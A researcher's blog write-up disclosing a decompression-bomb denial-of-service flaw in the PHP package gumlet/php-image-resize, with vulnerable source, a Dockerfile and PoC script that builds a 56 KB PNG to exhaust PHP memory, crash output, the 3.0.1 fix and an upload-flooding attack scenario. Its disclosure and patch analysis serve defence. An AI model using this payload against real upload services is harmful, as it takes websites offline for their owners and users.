October 16, 2026
How a 56KB PNG Brought Down a Library with Millions of Downloads (CVE-2026โ109398)
By Ikram (@Ikram-4)
By Shaikikram
6 min read
The 30-Second Explanation (For Everyone)
Imagine you receive an envelope in the mail that weighs almost nothing. But the moment you slice it open, a massive inflatable raft instantly deploys inside your living room, expanding until it crushes the furniture and shatters the windows.
That is an Image Decompression Bomb (also known as a Pixel Flood):
- On disk / over the network: The image file is tiny โ just 56 KB (smaller than a typical icon or email attachment).
- In server memory (RAM): The moment the server opens the image, it unpacks into a massive 4,000 ร 4,000 pixel canvas (16 million pixels).
- The Crash: To hold 16 million uncompressed pixels, PHP needs massive amounts of RAM. Because the library never checked the image's dimensions before unpacking it, PHP instantly ran out of memory (
memory_limit = 128M) and crashed the server process.
By sending a handful of these tiny 56KB files simultaneously, an attacker can crash all available server workers and take an entire website offline with virtually zero internet bandwidth.
Vulnerability Summary
- Vulnerability: Denial of Service via Decompression Bomb (Pixel Flood)
- CVE ID: CVE-2026โ109398
- Credit: ikram-4 (Finder)
- Classifications:
- CVE Record: CWE-409 (Improper Handling of Highly Compressed Data)
- GitHub Advisory: CWE-20, CWE-400, CWE-789
- Severity:
- CVSS v4.0: 8.7 (High) โ
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS v3.1: 7.5 (High) โ
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Affected Package: gumlet/php-image-resize (< 3.0.1)
- Patched In: Version 3.0.1 (Adds source dimension guard)
- References: GHSA-3g9v-hjrx-mg5h | CVE Record
Introduction: The Illusion of "Zero Attack Surface"
Over the past 1โ2 years of independent vulnerability research, I have primarily focused on enterprise platforms, CRMs, and authorization models, discovering and responsibly disclosing over 30 CVEs.
While auditing applications that handle media uploads, I looked into their dependencies and landed on gumlet/php-image-resize โ a widely adopted PHP package with millions of downloads across the Composer ecosystem.
At first glance, helper libraries like this appear to have virtually zero attack surface. There are no shell executions (exec, system), no raw SQL queries, and no unsafe deserialization. It is an object-oriented wrapper around PHP's native GD extension.
However, security often breaks down in low-level resource allocation rather than high-level syntax. By analyzing how PHP decodes image formats into memory, I discovered an unhandled decompression bomb vulnerability that exhausts server memory and terminates PHP worker processes, now cataloged as CVE-2026โ109398.
The Mechanism: Decompression Amplification (CWE-409)
Image formats like PNG rely on DEFLATE/zlib compression. When an image contains flat, repetitive pixel values (such as a canvas filled entirely with solid white), the compression algorithm reduces the file size on disk to a fraction of a percent of its uncompressed size.
However, before an image library can resize, crop, or process an image, PHP's GD extension must decompress that data stream into an uncompressed pixel buffer in memory.
Consider the resource footprint of a 4,000 ร 4,000 pixel image:
- Total Pixels: 4,000 ร 4,000 = 16,000,000 pixels
- Memory Allocation: When GD attempts decompression on standard PHP 8.3 CLI, the failed allocation requested 48,000,000 bytes (4,000 ร 4,000 ร 3, or ~45.78 MiB), which alongside PHP's runtime structures and surrounding buffers exhausts standard limits.
- Storage Size on Disk: Exactly 56,390 bytes (~56 KB) under standard PNG compression level 9.
If an application running under PHP's standard production memory ceiling (memory_limit = 128M) attempts to decode this 56KB file, total heap usage exceeds the limit, and the process aborts immediately.
Source Code Review: Where the Check Was Missing
Examining lib/ImageResize.php in version < 3.0.1 reveals how the library loaded images.
The class constructor handles image ingestion entirely inline (lib/ImageResize.php:98-167):
public function __construct(string $filename)
{
if ($filename === '' || (substr($filename, 0, 5) !== 'data:' && !is_file($filename))) {
throw new ImageResizeException('File does not exist');
}
if (!$image_info = getimagesize($filename, $this->source_info)) {
$image_info = getimagesize($filename);
}
// ... format validation ...
$this->original_w = $image_info[0];
$this->original_h = $image_info[1];
$this->source_type = $image_info[2];
switch ($this->source_type) {
case IMAGETYPE_GIF:
$this->source_image = imagecreatefromgif($filename);
break;
case IMAGETYPE_JPEG:
$jpeg = $this->imageCreateJpegfromExif($filename);
if ($jpeg === false) {
throw new ImageResizeException('Could not load image');
}
$this->source_image = $jpeg;
$this->original_w = imagesx($this->source_image);
$this->original_h = imagesy($this->source_image);
break;
case IMAGETYPE_PNG:
// Vulnerable: Immediately triggers eager decompression of 16M pixels
$this->source_image = imagecreatefrompng($filename);
break;
// ... other formats (WEBP, AVIF, BMP) ...
}
}public function __construct(string $filename)
{
if ($filename === '' || (substr($filename, 0, 5) !== 'data:' && !is_file($filename))) {
throw new ImageResizeException('File does not exist');
}
if (!$image_info = getimagesize($filename, $this->source_info)) {
$image_info = getimagesize($filename);
}
// ... format validation ...
$this->original_w = $image_info[0];
$this->original_h = $image_info[1];
$this->source_type = $image_info[2];
switch ($this->source_type) {
case IMAGETYPE_GIF:
$this->source_image = imagecreatefromgif($filename);
break;
case IMAGETYPE_JPEG:
$jpeg = $this->imageCreateJpegfromExif($filename);
if ($jpeg === false) {
throw new ImageResizeException('Could not load image');
}
$this->source_image = $jpeg;
$this->original_w = imagesx($this->source_image);
$this->original_h = imagesy($this->source_image);
break;
case IMAGETYPE_PNG:
// Vulnerable: Immediately triggers eager decompression of 16M pixels
$this->source_image = imagecreatefrompng($filename);
break;
// ... other formats (WEBP, AVIF, BMP) ...
}
}The Vulnerability Breakdown:
- Missing Pre-Allocation Checks: While
getimagesize()reads the PNG header chunk and populates$image_info[0]and$image_info[1]without decompressing the full image payload, the constructor never checked whether these dimensions were safe to decode. - Immediate Eager Decompression: The filename was passed directly to
imagecreatefrompng(), prompting GD's underlying C libraries to allocate uncompressed pixel buffers in memory. - Uncatchable Fatal Errors: The library's documentation instructs developers to catch
ImageResizeException:
try { $image = new ImageResize('user_input.png'); $image->resizeToWidth(200); } catch (ImageResizeException $e) { // Graceful failure }
- However, exhausting PHP's
memory_limitdoes not throw anImageResizeException. It generates an uncatchable PHP Fatal Error (Allowed memory size exhausted), terminating the worker process immediately with exit code 255.
Verification: Proof of Concept
To verify the vulnerability cleanly without extraneous framework overhead, I tested the behavior using a standalone PHP script inside a clean Docker container matching a standard PHP 8.3 CLI/FPM environment.
1. Docker Setup
FROM php:8.3-cli
RUN apt-get update && apt-get install -y libpng-dev libjpeg-dev libwebp-dev git \
&& docker-php-ext-configure gd --with-jpeg \
&& docker-php-ext-install -j$(nproc) gd exif fileinfo
WORKDIR /app
RUN git clone --depth 1 --branch 3.0.0 https://github.com/gumlet/php-image-resize.git /tmp/upstream \
&& cp -r /tmp/upstream/lib /app/lib
COPY poc.php /app/FROM php:8.3-cli
RUN apt-get update && apt-get install -y libpng-dev libjpeg-dev libwebp-dev git \
&& docker-php-ext-configure gd --with-jpeg \
&& docker-php-ext-install -j$(nproc) gd exif fileinfo
WORKDIR /app
RUN git clone --depth 1 --branch 3.0.0 https://github.com/gumlet/php-image-resize.git /tmp/upstream \
&& cp -r /tmp/upstream/lib /app/lib
COPY poc.php /app/2. The PoC Script (poc.php)
<?php
require '/app/lib/ImageResizeException.php';
require '/app/lib/ImageResize.php';
use Gumlet\ImageResize;
$bomb = '/tmp/bomb.png';
// 1. Generate a 4000x4000 solid white TrueColor PNG
$im = imagecreatetruecolor(4000, 4000);
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 4000, 4000, $white);
imagepng($im, $bomb, 9); // Compression level 9 produces 56,390 bytes
imagedestroy($im);
echo "Payload generated: " . filesize($bomb) . " bytes\n";
// 2. Set memory limit to standard production value (128M)
ini_set('memory_limit', '128M');
// 3. Trigger library load
echo "Attempting to instantiate ImageResize...\n";
new ImageResize($bomb);<?php
require '/app/lib/ImageResizeException.php';
require '/app/lib/ImageResize.php';
use Gumlet\ImageResize;
$bomb = '/tmp/bomb.png';
// 1. Generate a 4000x4000 solid white TrueColor PNG
$im = imagecreatetruecolor(4000, 4000);
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 4000, 4000, $white);
imagepng($im, $bomb, 9); // Compression level 9 produces 56,390 bytes
imagedestroy($im);
echo "Payload generated: " . filesize($bomb) . " bytes\n";
// 2. Set memory limit to standard production value (128M)
ini_set('memory_limit', '128M');
// 3. Trigger library load
echo "Attempting to instantiate ImageResize...\n";
new ImageResize($bomb);3. Execution & Terminal Output
docker build -t php-resize-poc .
docker run --rm php-resize-poc php /app/poc.phpdocker build -t php-resize-poc .
docker run --rm php-resize-poc php /app/poc.phpActual output:
Payload generated: 56390 bytes
Attempting to instantiate ImageResize...
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 48000000 bytes) in /app/lib/ImageResize.php on line 141Payload generated: 56390 bytes
Attempting to instantiate ImageResize...
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 48000000 bytes) in /app/lib/ImageResize.php on line 141The execution crashed immediately with exit status code 255.
Understanding the Report Scope: GHSA vs. CVE-2026โ109398
If you compare the published GitHub Advisory (GHSA-3g9v-hjrx-mg5h) with the CVE record, it is worth understanding how the scope was divided:
- The Bundled GHSA Report: My initial advisory bundled both the source image decompression bomb and several unhandled errors in destination methods (such as
crop(0,0)throwing aDivisionByZeroError,resize(0,0)throwing aValueError, orfreecrop(100000,100000)attempting massive 37GB allocations). The GHSA consequently tagged multiple classifications: CWE-20, CWE-400, and CWE-789. - The Scoped CVE Record: VulnCheck CNA evaluated the report and scoped CVE-2026โ109398 specifically to the decompression bomb on input (CWE-409).
- What Version 3.0.1 Actually Fixes: Version 3.0.1 addresses the source decompression bomb. The destination methods (
resize,crop,freecrop, andsave) remain byte-for-byte unchanged and still exhibit those unhandled error/allocation behaviors if fed invalid arguments by the calling application. They remain out of scope of this CVE.
The Fix in Version 3.0.1
In version 3.0.1, the maintainers addressed the decompression bomb by introducing a configurable source pixel ceiling (lib/ImageResize.php:41):
public int $max_source_pixels = 15_000_000;public int $max_source_pixels = 15_000_000;Inside the constructor (lib/ImageResize.php:131-141), the library now validates the dimensions obtained via getimagesize() before any GD decompression function is reached:
if ($this->max_source_pixels > 0 && ($image_info[0] * $image_info[1]) > $this->max_source_pixels) {
throw new ImageResizeException(
sprintf(
'Source image is too large (%dx%d = %d pixels). Maximum allowed: %d pixels.',
$image_info[0], $image_info[1], $image_info[0] * $image_info[1], $this->max_source_pixels
)
);
}if ($this->max_source_pixels > 0 && ($image_info[0] * $image_info[1]) > $this->max_source_pixels) {
throw new ImageResizeException(
sprintf(
'Source image is too large (%dx%d = %d pixels). Maximum allowed: %d pixels.',
$image_info[0], $image_info[1], $image_info[0] * $image_info[1], $this->max_source_pixels
)
);
}If an uploaded file exceeds 15 megapixels, ImageResize now safely throws a catchable ImageResizeException before allocating memory. Calling applications can handle this cleanly without crashing worker processes.
(Note: As of publication, the GitHub Advisory still displays "Patched versions: None" and "No known CVE", but the fix is officially released upstream in version 3.0.1 and tracked under MITRE's CVE-2026โ109398).
Real-World Attack Scenario
In a typical web application handling user uploads:
if ($_FILES['photo']['error'] === UPLOAD_ERR_OK) {
$resizer = new \Gumlet\ImageResize($_FILES['photo']['tmp_name']);
$resizer->resizeToWidth(150);
$resizer->save('/var/www/uploads/thumb.jpg');
}if ($_FILES['photo']['error'] === UPLOAD_ERR_OK) {
$resizer = new \Gumlet\ImageResize($_FILES['photo']['tmp_name']);
$resizer->resizeToWidth(150);
$resizer->save('/var/www/uploads/thumb.jpg');
}Under standard PHP-FPM deployment configurations with dynamic process management (e.g., pm.max_children = 20 to 50):
- Each upload of this 56KB payload causes an uncatchable OOM fatal error in the assigned PHP-FPM child process.
- The reverse proxy (Nginx or Apache) returns an HTTP 502 Bad Gateway or HTTP 500 Internal Server Error.
- A small burst of concurrent 56KB uploads quickly starves the available PHP-FPM worker pool faster than processes can be recycled, leading to complete Denial of Service across the entire web application with minimal bandwidth cost.
Key Takeaways
- "Zero Attack Surface" is a Cognitive Bias: Code does not need
eval()or raw SQL queries to be vulnerable. Uncontrolled resource allocation (CWE-409) is just as capable of taking down production services. - Pre-Validate Before Decompression: Always validate metadata (width, height, and channels) using lightweight header inspections before handing byte streams over to decoders.
- Look at the C Layer: When reviewing higher-level languages like PHP, Python, or Ruby, trace the execution down into the underlying C extensions (
libpng,gd,libjpeg). Assumptions about memory safety often collapse at that boundary.
About the Author & What's Next
I am an independent security researcher with 1โ2 years of hands-on vulnerability research experience and over 31 CVEs published to date across web platforms, CRMs, and open-source software.
I am actively looking for Cybersecurity Internships and Full-Time Roles in Application Security and Vulnerability Research where I can collaborate with high-performing offensive and defensive teams.
- GitHub: github.com/Ikram-4
- LinkedIn: https://www.linkedin.com/in/shaik-muhammad-ikram-788930298
- Email: shaikikram2005@gmail.com